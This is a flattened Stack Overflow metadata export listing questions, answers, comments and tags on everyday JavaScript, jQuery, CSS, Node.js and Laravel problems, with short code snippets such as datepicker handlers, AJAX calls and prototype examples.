downvote count: 0

http://stackoverflow.com/comment/44696718
comment on: http://stackoverflow.com/a/25806609
type: Comment
score: 19
has text: What about mobile (e.g. ipad)
type: AnswerComment

http://stackoverflow.com/comment/40285675
has text: like this for example : $("#fb-0NE").click(function(e) { e.remove(); });
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25761732

http://stackoverflow.com/q/25767748
linked to: http://stackoverflow.com/q/22083984
type: UnansweredQuestion
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/42102576
type: Question
has comment: http://stackoverflow.com/comment/40296076
tagged with: internet-explorer-11
tagged with: javascript
has comment: http://stackoverflow.com/comment/40296063
has answer: http://stackoverflow.com/a/25767819
linked to: http://stackoverflow.com/q/12517819
has body: I am unable to overwrite ctrl+p in IE-11. Please Suggest something. I already tried from below code snippet .But, Its not working Code to prevent default action document.onkeydown = function(event) { event.cancelBubble = true; event.returnValue = false; event.keyCode = 0; event.stopPropagation(); event.preventDefault(); return false; } Its working in compatibility mode on. When compatibility mode is off , then its not working . Please suggest solutions of it.
has title: Overwrite ctrl+p in IE 11
answer count: 1
downvote count: 0
favorite count: 0

http://stackoverflow.com/a/25715795
has body: HTML Please select Check-In date Check-In day Check-In month and year JavaScript $(function () { $('#checkin').datepicker({ buttonText: 'Choose a check-in day', buttonImage: 'images/calendar_icon.png', buttonImageOnly: false, dateFormat: 'mm/dd/yy', onSelect: function (dateText) { var objDate = new Date(dateText); var chkinDate = $.datepicker.formatDate('dd', objDate); var chkinMonth = $.datepicker.formatDate('M yy', objDate); $('#b_checkin_day').val(chkinDate); $('#b_checkin_month').val(chkinMonth); } }); }); JSFiddle
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40213261
type: Answer
answers question: http://stackoverflow.com/q/25715344
has comment: http://stackoverflow.com/comment/40207538
accepted answer of: http://stackoverflow.com/q/25715344
score: 1
upvote count: 1

http://stackoverflow.com/a/25771440
has body: In your ajax you are using: $('#replacedDiv").html(result); But your partial view contains &lt;div id="replacedDiv"&gt; that are generated in a loop replace your partial view code with : @foreach (var moreThings in ViewBag.moreThings) { &lt;label&gt;@moreThings.name &lt;/label&gt; &lt;input type="checkbox" id=@moreThings.id value=@moreThings.name /&gt; } and it should be OK
has comment: http://stackoverflow.com/comment/40306987
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25771146
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25771146
has comment: http://stackoverflow.com/comment/40307351
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40308696

http://stackoverflow.com/comment/40506294
score: 0
type: Comment
has text: Yeah, the js is quite extensive and dependant on data from a database so quite a lot of job setting up a working example. The positioning is absolute on the tooltip but otherwise everything should be relative to the div with id="chart1". @AmeliaBR
type: QuestionComment
comment on: http://stackoverflow.com/q/25869483

http://stackoverflow.com/a/25798005
score: 1
upvote count: 1
has body: As a final alternative to binding or passing it to the callback function, this should work pre IE9: ... consumeQueue: function () { if (this.queue &gt; 0) { var item = this.queue.shift(); console.log(item); } var that = this; setTimeout(function () { that.consumeQueue(); }, 100); }, ...
type: Answer
answers question: http://stackoverflow.com/q/25797613
downvote count: 0

http://stackoverflow.com/comment/40392414
type: Comment
has text: See updated post. Changed `.show()` / `.hide()` to `.fadeIn()` / `.fadeOut()` , adjusted selector for `.load()`
comment on: http://stackoverflow.com/a/25819368
score: 0
type: AnswerComment

http://stackoverflow.com/q/25786207
tagged with: return
has answer: http://stackoverflow.com/a/25789430
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/68583614
has body: I am reading a book on backbone.js, and there's an exemple using node.js to build the backend of an API. Link to the book: http://addyosmani.github.io/backbone-fundamentals/ At some point there is this code //Update a book app.put( '/api/books/:id', function( request, response ) { console.log( 'Updating book ' + request.body.title ); return BookModel.findById( request.params.id, function( err, book ) { book.title = request.body.title; book.author = request.body.author; book.releaseDate = request.body.releaseDate; return book.save( function( err ) { if( !err ) { console.log( 'book updated' ); return response.send( book ); } else { console.log( err ); } }); }); }); I don't understand why there are so many return statements, as this code works as well without the returns //Update a book app.put( '/api/books/:id', function( request, response ) { console.log( 'Updating book ' + request.body.title ); BookModel.findById( request.params.id, function( err, book ) { book.title = request.body.title; book.author = request.body.author; book.releaseDate = request.body.releaseDate; book.save( function( err ) { if( !err ) { console.log( 'book updated' ); response.send( book ); } else { console.log( err ); } }); }); }); Did I miss something?
accepted answer: http://stackoverflow.com/a/25789430
type: AnsweredQuestion
upvote count: 0
tagged with: javascript
favorite count: 0
has title: Why is there so many return statements in node.js
type: Question
has comment: http://stackoverflow.com/comment/40330031
tagged with: node.js
score: -1

http://stackoverflow.com/a/25733384
accepted answer of: http://stackoverflow.com/q/25733202
type: AcceptedAnswer
has body: Your context.clearRect goes just before you do you new drawings.... Here's one way: http://jsfiddle.net/m1erickson/c2g52w9q/
type: Answer
answers question: http://stackoverflow.com/q/25733202
score: 0

http://stackoverflow.com/q/25791561
has answer: http://stackoverflow.com/a/25791658
upvote count: 2
type: Question
has title: Focus on input field not working with ID
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25791658
answer count: 3
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25803127
possible better answer: http://stackoverflow.com/a/25791621
has answer: http://stackoverflow.com/a/25791621
has body: I am trying to highlight an input field in my form when a particular radio buttons is selected. While I have accomplished this, I do not understand why my particular solution works. Here is the HTML: Testing jQuery on Forms The form General Information Do you have a name? Yes No Name: Submit Here is the JS: $(document).ready(function() { $('#name_or_yes').click(function() { $('input[name=name]').focus(); }); $('#submit_form').click(function() { var toAdd = $("input[name=name]").val(); $('#results').append(" "+toAdd+" "); }); }); I don't understand why focus() does not work on the name input field when I use it's id (#name_field'). It only works when i use the input[name=name] method. This is doubly confusing because the following works perfectly well: This text box is set focused: Any help or advice is appreciated!
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/70579
type: AnsweredQuestion
score: 2

http://stackoverflow.com/q/25792296
tagged with: http://stackoverflow.com/tag/html
tagged with: css
score: 8
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/10711730
has answer: http://stackoverflow.com/a/25792297
downvote count: 2
upvote count: 10
possible better answer: http://stackoverflow.com/a/25792590
type: Question
has body: What I am looking for is a CSS equivalent of jQuery's $("div").css({"height":screen.height/10}) I have heard of CSS media queries and I like them, but I don't know of anything that could even do something even close to that. I know how to use min-height query: @media (min-height: ... /* some height */){ div{ height: ... /* 'some height' divided by ten */ } } but it only gets 10% height of the browser window (not what I'm looking for!). And I can't just simply use height: 10% because the div is nested in another element that has a set height in pixels. I also can't use height: 10vh because the viewport's height is not at all the device screen's height (tested in Chrome and IE; If you want proof, resize the window. You'll notice that the height changes as the window's height changes) NOTE: I am asking that the div be 10% of the device screen, meaning that if the computer's monitor (the device screen) has a resolution of 1280px by 800px, then the div should be 10% of 800px, which is 80px. Also, if the window resizes, the div's height should not change, because even though the window is resizing, it is impossible to resize the physical computer monitor or phone screen
tagged with: javascript
linked to: http://stackoverflow.com/q/24196773
has answer: http://stackoverflow.com/a/25792590
has comment: http://stackoverflow.com/comment/40340995
answer count: 3
has answer: http://stackoverflow.com/a/25792440
has title: How to make div 10% of device screen height css
linked to: http://stackoverflow.com/q/16560018
has comment: http://stackoverflow.com/comment/40451017
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25792297

http://stackoverflow.com/a/25808234
upvote count: 1
answers question: http://stackoverflow.com/q/25807672
has body: Set max-height for that .box it will work
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/q/25827898
has comment: http://stackoverflow.com/comment/40406101
type: AnsweredQuestion
tagged with: settimeout
has answer: http://stackoverflow.com/a/25827926
type: Question
answer count: 2
has body: I have just started learning JavaScript, coming from a Java/Clojure background and I am trying to do a simple thread-sleep command that will allow me to have lines of text appear on the screen, at one second intervals. I thought about using the setInterval function instead, but because I am dealing with multiple functions, I thought setTimeout would be better. The problem I am encountering is that all of the text is printing in the browser instantaneously, as though the setTimeout functions weren't even there. Below is an example using the "Happy Birthday" song, which I think succinctly illustrates the problem. How can I make the program below run, line by line, at one second intervals? Happy Birthday
possible better answer: http://stackoverflow.com/a/25827938
tagged with: javascript
has answer: http://stackoverflow.com/a/25827938
score: 0
tagged with: thread-sleep
accepted answer: http://stackoverflow.com/a/25827926
tagged with: http://stackoverflow.com/tag/html
tagged with: setinterval
has title: How do you time consecutive events in the browser, using Javascript in an HTML script tag?

http://stackoverflow.com/q/25759029
score: -5
duplicate of: http://stackoverflow.com/q/519107
has answer: http://stackoverflow.com/a/25759983
has title: Turn a word inside an HTML inputbox into a clickable button
linked to: http://stackoverflow.com/q/519107
linked to: http://stackoverflow.com/q/8587295
type: Question
upvote count: 1
answer count: 1
tagged with: javascript
has body: At pinterest.com, a user can type in anything into the search box. As soon as the mouse leaves the search box, all the words are converted into a button with a close button. The same thing happens in the 'Tags' input box here at stackoverflow. How was this implemented? Is there a jquery plugin for it?
tagged with: jquery
downvote count: 6
tagged with: http://stackoverflow.com/tag/html
tagged with: css
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40280572

http://stackoverflow.com/comment/51884054
comment on: http://stackoverflow.com/a/25814415
score: 0
type: AnswerComment
type: Comment
has text: placement is for the place, where the popover is being showed relatively from the button..

http://stackoverflow.com/q/25742539
type: UnansweredQuestion
has body: I have a button.On button click I open the model , in that model i have text field and submit button .I need to set the value of input field to input field which is on screen after click of submit button.how to make controller of model and where we write the click event of submit button ? here is plunker http://plnkr.co/edit/8FnZ2disRS3ALdRWVvpT?p=preview var app= angular.module('app',['ui.bootstrap']); app.controller('cntr', function($scope, $modal){ $scope.onButtonClick = function () { $modal.open({ templateUrl: 'myModalContent.html', backdrop: true, windowClass: 'modal', }); }; }) how to set value in input field?
has title: how to send data of model to text field using angular?
type: Question
tagged with: angularjs-directive
has answer: http://stackoverflow.com/a/25744335
tagged with: javascript
tagged with: jquery
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25749827
tagged with: angularjs

http://stackoverflow.com/comment/40661052
comment on: http://stackoverflow.com/q/25832142
score: 0
type: Comment
type: QuestionComment
has text: I am already doing a Refresh. See $(".MainMenu").listview('refresh'); above in the code - unless you don't mean that. Refreshing the whole page might have an unwanted flicker affect.

http://stackoverflow.com/comment/40429105
score: 0
has text: @bryant I'm trying that now. The function came directly from the WP-Polls plugin so I'm not sure why it's missing. It was working fine before, but I modified it a bit to add the checkbox and it stopped working.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25840153

http://stackoverflow.com/a/25762235
answers question: http://stackoverflow.com/q/25762048
has comment: http://stackoverflow.com/comment/40286025
has body: This worked for me, you don't actually need to replace, this is why I used String.prototype.match instead var str = "width-100 required validate-email validate-unique-email input-success"; console.log(str.match(/\bvalidate-([a-z]+)/gi).join(' '));
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25762048
has comment: http://stackoverflow.com/comment/40285947
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40286104

http://stackoverflow.com/a/25713413
type: Answer
has comment: http://stackoverflow.com/comment/40196111
has body: Yes you can, you just have to concatenate the value with the message string : var productName = $('#product_name').val(); bootbox.confirm({ message: 'Are you sure you want to remove'+productName, callback: function(result) { console.log(result); }, title: "You can also add a title", or more clean: var productName = $('#product_name').val(); var Message = 'Are you sure you want to remove'+productName; bootbox.confirm({ message: Message , callback: function(result) { console.log(result); }, title: "You can also add a title",
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40195871
has comment: http://stackoverflow.com/comment/40195959
accepted answer of: http://stackoverflow.com/q/25713354
upvote count: 2
answers question: http://stackoverflow.com/q/25713354
has comment: http://stackoverflow.com/comment/40195882
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40196088

http://stackoverflow.com/comment/40433070
has text: are you sure this code is work ? I tried and I got same error
comment on: http://stackoverflow.com/a/25842410
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25821969
has title: AJAX routing is not working for my custom function in Laravel
tagged with: php
has answer: http://stackoverflow.com/a/25822335
accepted answer: http://stackoverflow.com/a/25822335
downvote count: 0
tagged with: laravel
type: AnsweredQuestion
score: 1
type: Question
has comment: http://stackoverflow.com/comment/40395712
upvote count: 1
tagged with: laravel-4
answer count: 1
tagged with: javascript
favorite count: 0
tagged with: ajax
has body: I am using Laravel 4.2.6 This is my function with an ajax call to the controller's method called savesession function saveActualSession() { return $.ajax({ url: 'savesession', data: { my_username: $('input#username').val() }, type: 'POST', dataType: 'json', success: function(response) { console.log("success"); } }); } In controller I have this: public function savesession() { if(Request::ajax()) { $my_username = Input::post('my_username'); if ($my_username) { Session::put('my_username', $my_username); } return $my_username; } } Sessions saving is triggered like this on different places in my javascript code: saveActualSession() .done(function(e) { // Things to be done after saving session }) .fail(function(e) { alert('oh no!') }); The problem is that it's giving me this error in the console: "NetworkError: 500 Internal Server Error - http://laravelsite.dev/savesession" It's weird because the url exists 100%, because when I try to do this in the controller: public function savesession() { if(Request::ajax()) { $my_username = Input::post('my_username'); if ($my_username) { Session::put('my_username', $my_username); } return $my_username; } else { print_r("url is working"); die(); } } and I access the url directly in my browser like: http://laravelsite.dev/savesession It's giving me the print_r message url is not working and it dies. btw. my routes look like this: Route::any('savesession', ['as' =&gt; 'savesession','uses' =&gt; 'RegistrationController@savesession']); What am I doing wrong? I have a similar AJAX function for getting sessions and that route works fine and no server errors are shown. Any idea?

http://stackoverflow.com/comment/40454075
score: 0
comment on: http://stackoverflow.com/q/25849904
type: Comment
type: QuestionComment
has text: thank you very much for cleaning up my code (not very good at keeping code clean). But can you explain how to show 5 images on page but only shift one to the left or right or did you already do that? anyway thank you very much.

submit
tags question: http://stackoverflow.com/q/25814667
tags question: http://stackoverflow.com/q/25812725
tags question: http://stackoverflow.com/q/25820727
tags question: http://stackoverflow.com/q/25715919
tags question: http://stackoverflow.com/q/25827391
tags question: http://stackoverflow.com/q/25810236
tag name: submit
type: Tag

http://stackoverflow.com/q/25833174
linked to: http://stackoverflow.com/q/7056669
has comment: http://stackoverflow.com/comment/40415728
has comment: http://stackoverflow.com/comment/40416173
has body: I have an issue with my code, I'm trying to create a function to hide and show a div and it's working, but it dosnt work at first, It works only on the second click, so i have to click the link first to get it to start working properly, how can i fix it so that it works on first click? more info: im trying to have a div appear and then disapear usin the display and hide functions, the catch is i also want it to disapper when im outside of the div, if its visible, its all working but the problem is when i first load the page thn click the link to display the div, it dosnt appear, only when i click it a second time does it appear. this is the problem i want to fix this is my code: <!--[if lt IE 9]> <![endif]--> Display Div
type: Question
has answer: http://stackoverflow.com/a/25833269
has comment: http://stackoverflow.com/comment/40415636
has comment: http://stackoverflow.com/comment/40426874
has comment: http://stackoverflow.com/comment/40417246
tagged with: javascript
tagged with: jquery
has title: Click Element isn't showing/hiding properly
has comment: http://stackoverflow.com/comment/40416271
score: 0
has answer: http://stackoverflow.com/a/25833580
answer count: 3
has comment: http://stackoverflow.com/comment/40415669
has comment: http://stackoverflow.com/comment/40415867
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25833331

http://stackoverflow.com/q/25819684
upvote count: 1
has comment: http://stackoverflow.com/comment/40396019
type: Question
has comment: http://stackoverflow.com/comment/40392415
has comment: http://stackoverflow.com/comment/40392310
tagged with: javascript
has comment: http://stackoverflow.com/comment/40396256
tagged with: canvas
has comment: http://stackoverflow.com/comment/40391745
downvote count: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/34550639
has body: I'm curious to know how applications such as Adobe Photoshop implement their drawing history with the ability to go back or undo strokes on rasterized graphics without having to redraw each stroke from the beginning... I'm wanting to implement a similar history function on an HTML5 drawing application I'm working on but duplicating the canvas after every stoke seems like it'd use too much memory to be a practical approach, especially on larger canvas'... Any suggestions on how this might be implemented in a practical and efficient manner?
type: UnansweredQuestion
tagged with: undo
tagged with: http://stackoverflow.com/tag/html
has title: HTML5 Canvas Drawing History
has comment: http://stackoverflow.com/comment/40400912
tagged with: drawing
has comment: http://stackoverflow.com/comment/40392532
score: 1

http://stackoverflow.com/comment/40361490
comment on: http://stackoverflow.com/a/25803380
has text: This is jQuery so you need to [include the libraries](http://www.w3schools.com/jquery/jquery_install.asp) in your head.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25790787
has body: Solution: /* if user logs in right away after having been logged out on index page, make sure "logged=out" parameter is not kept */ if (document.URL.indexOf('logged=out') &gt; -1) { document.location.href = 'index.php'; } else { // do a regular reload of page document.location.reload(true); }
answers question: http://stackoverflow.com/q/25790042
score: 0
type: Answer

http://stackoverflow.com/q/25736828
tagged with: javascript
favorite count: 0
has title: Passing multiple onClick parameters using div.innerHTML
accepted answer: http://stackoverflow.com/a/25779799
type: Question
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25737544
upvote count: 2
score: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/40241158
has answer: http://stackoverflow.com/a/25779799
has answer: http://stackoverflow.com/a/25736858
has answer: http://stackoverflow.com/a/25736875
answer count: 4
has comment: http://stackoverflow.com/comment/40240072
type: AnsweredQuestion
has body: I want to pass multiple parameters to a function that is called via onClick. Here is the code: div.innerHTML += '&lt;input type="button" name="back" id="back" value="Back" onClick="homeForm(\'' + form,divName + '\')" /&gt;'; function homeForm(form,divName){ //do something } This works with one parameter but not two: div.innerHTML += '&lt;input type="button" name="back" id="back" value="Back" onClick="homeForm(\'' + form + '\')" /&gt;'; Could someone post a working method for this, or perhaps a cleaner way?
possible better answer: http://stackoverflow.com/a/25736858

http://stackoverflow.com/q/25713774
type: UnansweredQuestion
has title: Node.js memory usage never decrease
has answer: http://stackoverflow.com/a/25728404
has answer: http://stackoverflow.com/a/25755341
score: 3
has body: I've already finished my first small project in node.js and now came time for performance testing using apache benchmark (1000 requests with 50 concurrency). Everything seems to be ok, hundred of requests handled per second, super fast, no failed request, just perfect. Unfortunately there is one really wired issue...the memory usage of a process keeps increasing, so lets say the memory usage is 10% just before apache benchmark will have finished his job and after that job is done it still remains at the same level - 10% than decreasing to some low level (this is how I expect garbage collector should work). Is that normal node behaviour or I've made some memory leaks in my app (I even test it with the no logic API endpoint but it still happens)? Thanks in advance for any tip. I can even share my whole app code base with someone interested in that problem.
upvote count: 3
tagged with: memory
has comment: http://stackoverflow.com/comment/40197626
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40199280
tagged with: express
tagged with: memory-leaks
tagged with: node.js
favorite count: 0

http://stackoverflow.com/comment/40384123
type: Comment
has text: @Jospehione When you call an asynchronous function it returns immediately, it doesn't wait for its work to be done. `$.ajax` starts the AJAX request, but returns before the server responds. So it can't return the response to `getMySession`, because the response hasn't been received yet. The success function is called in the background later, when the response comes.
comment on: http://stackoverflow.com/q/25815556
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40437681
comment on: http://stackoverflow.com/a/25844858
type: Comment
has text: That indeed was the problem. Would give a try to @johnny's answer as well.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40476949
score: 4
comment on: http://stackoverflow.com/q/25866930
type: QuestionComment
type: Comment
has text: why cant you `JSON.parse` it?

http://stackoverflow.com/a/25823078
downvote count: 0
answers question: http://stackoverflow.com/q/25822940
type: Answer
score: 1
upvote count: 1
has body: needn't jQuery: var ps = document.getElementsByTagName('p'); for (var i = 0; i &lt; ps.length; i++) { ps[i].onclick = function(e) { e.target.classList.toggle('click'); }; }

http://stackoverflow.com/a/25819086
has body: The line Person.prototype.friends = []; Adds the friends property to the Person prototype, which makes it shared to all the new objects created with the Person constructor. So, if you want each object to have its own friends, you have to add the friends property to the individual object. What you actually want to do is exactly what you did with name: function Person(name) { // friends is a property of this, the new instance object. this.friends = []; if (name) { this.name = name; } } In Javascript, a prototype is somewhat like a base class in other OO languages (I say somewhat for important reasons which I will explain in a moment). When you add something to a prototype, it is shared by all the things that have that prototype. This is why your 'sayHello' function is added to your prototype, because you want all your instances of Person to be able to sayHello. By adding friends to the prototype, you are saying 'I want this to be shared by all of the things of the Person type.' The point is that in Javascript there are actually two steps to making an object that looks like a member of a class. Step 1, create a prototype and add things that will be shared, usually the methods. Step 2, after you create an individual object, add the properties to that object. If you add what you want to be 'instance variables' in Step 1, what you will actually do is create variables that are shared, just like your methods, which is what you did above. I said before that a prototype is somewhat like a base class. I say somewhat because it only appears that way on the surface. This is an extremely important detail and understanding how it really works will save you LOTS of headaches and confusion later. An important thing to understand about Javascript is that it does not have classes. So unlike other languages where there is type of thing called a 'class', and another thing called an 'instance', Javascript only has objects. Even if it appears that one thing is a class, and another is an i…
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/25814271
downvote count: 0
answers question: http://stackoverflow.com/q/25814271
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/q/25849042
has title: How to change 'div' background and text colour using jquery to flash a message And revert back to original colors?
score: 0
answer count: 2
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40444724
has comment: http://stackoverflow.com/comment/40444909
linked to: http://stackoverflow.com/q/19049484
has answer: http://stackoverflow.com/a/25849512
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40444577
has comment: http://stackoverflow.com/comment/40444480
possible better answer: http://stackoverflow.com/a/25850219
type: Question
has answer: http://stackoverflow.com/a/25850219
accepted answer: http://stackoverflow.com/a/25849512
has body: I have a div with id and class names as tab. The css are defined for the div. The original background-color is blue and color is white. I need to flash some text on this div , where the message should flash 3 times with black background and white text and vice versa. I tried toggleClass. Using this the effect is generated but the previous class css is not restored. I have tried fade also $("#tab").fadeOut(200).fadeIn(200); , it helps the blinking part but doesnt give the desired results. Please suggest... Thanks in advance. This is what i have tried so far: test value click
has comment: http://stackoverflow.com/comment/40444954
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40255513
has text: The rule of thumb is that any element that _can_ contain something should have an open and close tag, not a self-closing tag. ` ` can contain content, hence why you see the open and close tags.
comment on: http://stackoverflow.com/q/25745604
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/25784906
tagged with: ajax
linked to: http://stackoverflow.com/q/6755192
accepted answer: http://stackoverflow.com/a/25785888
possible better answer: http://stackoverflow.com/a/25785335
tagged with: php
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/60757418
has comment: http://stackoverflow.com/comment/40328379
type: Question
has answer: http://stackoverflow.com/a/25785888
tagged with: javascript
score: 0
has body: I want to uplod multiple files through ajax but I can't figure out how I can grab the files in PHP. Can anyone help me? Thank you! Here is the code: HTML: &lt;form enctype="multipart/form-data" method="POST"&gt; &lt;input type="file" id="file" multiple="multiple" name="file"/&gt; &lt;/form&gt; &lt;div id="info"&gt;&lt;/div&gt; &lt;div id="preview"&gt;&lt;/div&gt; JavaScript: $(document).ready(function(){ $("#file").change(function(){ var src=$("#file").val(); if(src!="") { formdata= new FormData(); // initialize formdata var numfiles=this.files.length; // number of files var i, file, progress, size; for(i=0;i&lt;numfiles;i++) { file = this.files[i]; size = this.files[i].size; name = this.files[i].name; if (!!file.type.match(/image.*/)) // Verify image file or not { if((Math.round(size))&lt;=(1024*1024)) //Limited size 1 MB { var reader = new FileReader(); // initialize filereader reader.readAsDataURL(file); // read image file to display before upload $("#preview").show(); $('#preview').html(""); reader.onloadend = function(e){ var image = $('&lt;img&gt;').attr('src',e.target.result); $(image).appendTo('#preview'); }; formdata.append("file[]", file); // adding file to formdata console.log(formdata); if(i==(numfiles-1)) { $("#info").html("wait a moment to complete upload"); $.ajax({ url: _url + "?module=ProductManagement&amp;action=multiplePhotoUpload", type: "POST", data: formdata, processData: false, contentType: false, success: function(res){ if(res!="0") $("#info").html("Successfully Uploaded"); else $("#info").html("Error in upload. Retry"); } }); } } else { $("#info").html(name+"Size limit exceeded"); $("#preview").hide(); return; } } else { $("#info").html(name+"Not image file"); $("#preview").hide(); return; } } } else { $("#info").html("Select an image file"); $("#preview").hide(); return; } return false; }); }); And in PHP I get $_POST and $_FILES as an empty array; Only if I do file_get_contents("php://input"); I get something like -------------------------…
answer count: 3
has title: Multiple file upload with ajax and php
tagged with: jquery
has answer: http://stackoverflow.com/a/25785335

mongodb
tags question: http://stackoverflow.com/q/25741120
tags question: http://stackoverflow.com/q/25746331
tags question: http://stackoverflow.com/q/25770162
tags question: http://stackoverflow.com/q/25845210
tags question: http://stackoverflow.com/q/25756664
tags question: http://stackoverflow.com/q/25861062
tags question: http://stackoverflow.com/q/25723973
tags question: http://stackoverflow.com/q/25722087
tags question: http://stackoverflow.com/q/25866236
tag name: mongodb
tags question: http://stackoverflow.com/q/25823460
tags question: http://stackoverflow.com/q/25840451
tags question: http://stackoverflow.com/q/25755325
tags question: http://stackoverflow.com/q/25713955
tags question: http://stackoverflow.com/q/25762148
type: Tag
tags question: http://stackoverflow.com/q/25835854
tags question: http://stackoverflow.com/q/25873195
tags question: http://stackoverflow.com/q/25765645
tags question: http://stackoverflow.com/q/25817093
tags question: http://stackoverflow.com/q/25790700
tags question: http://stackoverflow.com/q/25755591
tags question: http://stackoverflow.com/q/25785393
tags question: http://stackoverflow.com/q/25797961
tags question: http://stackoverflow.com/q/25751723
tags question: http://stackoverflow.com/q/25838500
tags question: http://stackoverflow.com/q/25759335
tags question: http://stackoverflow.com/q/25829524
tags question: http://stackoverflow.com/q/25761000
tags question: http://stackoverflow.com/q/25794051
tags question: http://stackoverflow.com/q/25844994
tags question: http://stackoverflow.com/q/25847061
tags question: http://stackoverflow.com/q/25837195
tags question: http://stackoverflow.com/q/25776248
tags question: http://stackoverflow.com/q/25853557
tags question: http://stackoverflow.com/q/25868304

http://stackoverflow.com/comment/99842139
score: 0
comment on: http://stackoverflow.com/a/43466695
type: AnswerComment
type: Comment
has text: @EduardLuca Answer is over two years old. It was flagged as low quality at the time. An explanation of the code is generally appreciated by the SO community, and the comment was meant as a helpful reminder to not just post code but to explain what the code is and why it works. Hope that helps clear things up.

http://stackoverflow.com/a/25733983
has comment: http://stackoverflow.com/comment/40314224
has body: The Problem is that there is nothing to prevent buildup. if you add .stop() before each animate(...) then it will prevent the queue buildup you're experiencing that causes the delay in animations. Like in this fiddle... Though there are also other things that can make this better as well. You should have a switch so each part of the script only fires once, the animations can be replaced with css so you could just toggle a class, and the whole thing can be done with much less code. If you're interested in these other changes I can make another fiddle to illustrate.
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40302518
accepted answer of: http://stackoverflow.com/q/25729932
has comment: http://stackoverflow.com/comment/40235516
type: Answer
answers question: http://stackoverflow.com/q/25729932
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40273489
has comment: http://stackoverflow.com/comment/40235476
has comment: http://stackoverflow.com/comment/40237652

http://stackoverflow.com/comment/40217027
type: Comment
has text: Um, it is impossible to have more than one thing focused at a time...What is the goal?
type: QuestionComment
score: 4
comment on: http://stackoverflow.com/q/25724954

http://stackoverflow.com/comment/40291709
type: AnswerComment
has text: Thanks Hiren for the advice unfortunately Kartikeya beat you too it with the same change, after this change tho the code still doesn't hide the check box.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25764845

http://stackoverflow.com/a/25779083
type: Answer
answers question: http://stackoverflow.com/q/25778841
has comment: http://stackoverflow.com/comment/40317950
has comment: http://stackoverflow.com/comment/40317608
score: 2
has body: It's not a "closure", it's just an anonymous function. Personally I prefer the bind version because as you say, it's more concise. However, according to this jsperf (http://jsperf.com/anonymous-function-vs-bind), it's ten times slower, which surprises me greatly, especially since the bind used here seems to be the native one. One hypothesis is that bind, or rather the function it generates, needs to do work around looking at the arguments passed in and constructing an argument list to pass along to the function being called. To maintain this, you need a variant of bind such as Underscore's _.partial, or you could write one yourself: function partial(fn) { var slice = Array.prototype.slice, args = slice.call(arguments, 1); return function() { return fn.apply(this, args.concat(slice.call(arguments, 1))); }; } Unfortunately, the variation using partial ({ onClick: partial(someHandler, 'clicked'); }) is still ten times slower than the anonymous function. The hypothesis that argument list handling is causing the slowdown is supported by another test case in the jsperf, which defines a partial1 which predefines just the first of exactly two arguments to the underlying function: function partial1(fn, a) { return function(b) { return fn.call(this, a, b); }; } Using that one, which doesn't have to create and merge argument lists, results in a slowdown of only 25-35%, instead of 90%. If we don't care about passing through this, which allows us to avoid using Function#call: function partial2(fn, a) { return function(b) { return fn(a, b); }; } Then the slowdown is just 10%. However, if we really want to pass through this, then we need to write the anonymous function version as { onClick: function(event) { someHandler.call(this, 'clicked', event); } } which also results in a 20-25% slowdown from the original version, presumably due to the cost of invoking Function#call. So in that sense, asusming you do want to pass through this, the performance of the anonymous function and our…
has comment: http://stackoverflow.com/comment/40317693
upvote count: 2
has comment: http://stackoverflow.com/comment/40323774
has comment: http://stackoverflow.com/comment/40323403
accepted answer of: http://stackoverflow.com/q/25778841
has comment: http://stackoverflow.com/comment/40323955
has comment: http://stackoverflow.com/comment/40317836
has comment: http://stackoverflow.com/comment/40317653
has comment: http://stackoverflow.com/comment/40323566
has comment: http://stackoverflow.com/comment/40323313
has comment: http://stackoverflow.com/comment/40317339
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40317577
has comment: http://stackoverflow.com/comment/40317710
has comment: http://stackoverflow.com/comment/40324178

http://stackoverflow.com/a/26500893
answers question: http://stackoverflow.com/q/25785682
